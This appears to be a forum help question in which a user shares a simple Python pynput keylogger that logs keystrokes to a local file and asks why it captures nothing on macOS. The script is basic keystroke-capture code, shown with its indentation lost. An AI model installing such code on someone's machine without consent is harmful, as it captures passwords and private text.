I am trying to run a simple Keylogger using Python3 on MacOs. Below is the script.
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(Key):
global keys, count
print("hello")
keys.append(Key)
count += 1
print(f"{Key} pressed")
if count >= 10:
count = 0
write_file(keys)
keys = []
# hello this is a test for the keylogger.
def write_file(keys):
with open("logger.txt", "a") as f:
for key in keys:
f.write(str(key))
def on_release(Key):
if Key == Key.esc:
return False
with Listener(on_press= on_press, on_release = on_release) as listener:
listener.join()
The code displays which key is pressed on the console and also after every some period, it stores the keys pressed in a file. When I run the script using sudo, nothing is happening when I press some keys. I am not being shown which keys are pressed on the console and the file is also empty.
I am not able to understand what is the problem. I am guessing it's something related to MacOs restrictions for giving full access to the keyboard. But I am not sure.
Please someone help me on this.